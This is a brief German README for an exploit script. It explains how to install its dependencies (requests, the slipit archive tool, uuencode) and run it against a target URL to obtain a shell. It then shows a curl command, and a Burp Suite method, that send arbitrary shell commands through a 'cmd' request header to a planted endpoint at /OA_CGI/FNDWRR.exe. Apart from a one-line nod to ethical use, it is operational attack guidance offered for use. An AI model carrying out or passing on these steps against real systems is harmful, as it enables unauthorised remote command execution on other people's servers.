Voraussetzung für die Ausführung dieses Exploits:

• python3 einschließlich Modul (requests, os, sys, slipit)
• uuencode

Bevor du es ausführst, stelle sicher, dass du es nur für ethische Aufgaben verwendest.

Wenn das Exploit nicht ausgeführt werden kann:

• Stelle sicher, dass du das Voraussetzungsmodul bereits installiert hast.

Installiere requests

• pip3 install requests

• Installiere slipit, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• Installiere uuencode

  • sudo apt install sharutils

• Verwendung : python3 exploit.py http://target.com

  • dann erscheint die Shell ODER du kannst die Shell auch mit curl oder Web-Proxy-Tools (Burpsuite) ausführen
  • mit curl : curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • mit Burpsuite: Füge einfach cmd in die Header-Anfrage ein, mit einem beliebigen Bash-Payload, den du ausführen möchtest.